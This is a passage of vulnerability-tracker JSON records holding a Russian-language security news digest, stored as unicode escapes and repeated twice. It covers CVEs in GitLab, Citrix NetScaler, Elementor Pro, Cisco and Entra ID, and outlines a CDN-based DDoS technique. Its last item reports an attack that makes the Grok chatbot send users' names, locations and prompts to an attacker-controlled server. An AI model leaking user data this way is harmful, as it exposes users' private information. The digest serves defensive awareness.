\u0441\u0442\u0430\u0440\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b HTTP/1.\n\nCDN Tsunami attack \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/3-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 CDN, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/1-\u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0441\u0430\u0439\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 CDN \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n5. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Elementor Pro \u0434\u043b\u044f WordPress \u0441 10 \u043c\u043b\u043d. \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f RCE \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\nCVE-2026-32475 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Elementor Pro \u0434\u043e 4.2.2 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u043e\u0434\u0443\u043b\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0446\u0438\u043a\u043b\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u0443\u0441\u0442\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438.\n\n6. \u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Citrix NetScaler. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e Citrix, CVE-2026-19490 (CVSS 9.3) \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 NetScaler, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a \u0448\u043b\u044e\u0437 (SSL VPN, ICA Proxy, CVPN, RDP Proxy) \u0438\u043b\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 AAA.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Rapid7, \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0430\u044f \u0440\u043e\u043b\u044c NetScaler \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0433\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n7. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0440\u044f\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u0442\u0440\u0430\u0442\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 OpenAI Trusted Access for Cyber (TAC) \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438. \u041e\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0434\u0435\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ChatGPT Cyber. OpenAI \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u044b\u0437\u0432\u0430\u043b\u043e \u043e\u0448\u0438\u0431\u043a\u0443, \u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043f\u043e\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0443 \u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n8. Cisco \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 Crosswork \u0438 Secure Workload.\n\n\u0422\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445, CVE-2026-20030, CVE-2026-20357 \u0438 CVE-2026-20358, \u0438\u043c\u0435\u044e\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 (CVSS 10/10), \u0430 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f, CVE-2026-20359 - CVSS 9,9/10. Cisco \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n9. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Microsoft Entra ID (CVSS 10.0) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. CVE-2026-69836\u00a0(CVSS: 10.0) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 RCE, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0438\u0433\u0430\u043d\u0442\u0430. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n10. Adversa AI \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0435\u0435 \u0441\u043b\u043e\u0432\u0430\u043c, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c\u00a0\u0447\u0430\u0442-\u0431\u043e\u0442 Grok \u043e\u0442 xAI\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440.", "creation_timestamp": "2026-08-22T01:00:02.932993Z"}, {"uuid": "eeb82bb7-9552-4bfa-880d-cc64069daeaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20358", "type": "seen", "source": "https://t.me/true_secator/8535", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u0433\u043e\u0434\u0430 Cloudflare \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Spectre \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445. \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u0441\u0432\u043e\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0435 \u043c\u0435\u0440\u044b, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u043e\u0432\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0430\u0442\u0430\u043a Spectre.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f Dynamic Process Isolation, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0435\u043c\u043a\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 Spectre.\n\n2. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2026-19478 \u0432 GitLab \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0435\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0441\u0435\u0442\u0438 PoC-\u043a\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b GitLab \u0438\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \n\n3. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SSRF (CVE-2026-64849, CVSS 9.3) \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 MLflow AI, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 TrueConf, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0439, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\n4. \u0423\u0447\u0451\u043d\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 DDoS, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0430\u0439\u0442\u044b \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b, \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 CDN. \u0412 \u043d\u0435\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CDN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 HTTP/3-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u044e\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 \u0441\u0442\u0430\u0440\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b HTTP/1.\n\nCDN Tsunami attack \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/3-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 CDN, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/1-\u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0441\u0430\u0439\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 CDN \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n5. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Elementor Pro \u0434\u043b\u044f WordPress \u0441 10 \u043c\u043b\u043d. \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f RCE \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\nCVE-2026-32475 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Elementor Pro \u0434\u043e 4.2.2 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u043e\u0434\u0443\u043b\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0446\u0438\u043a\u043b\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u0443\u0441\u0442\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438.\n\n6. \u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, 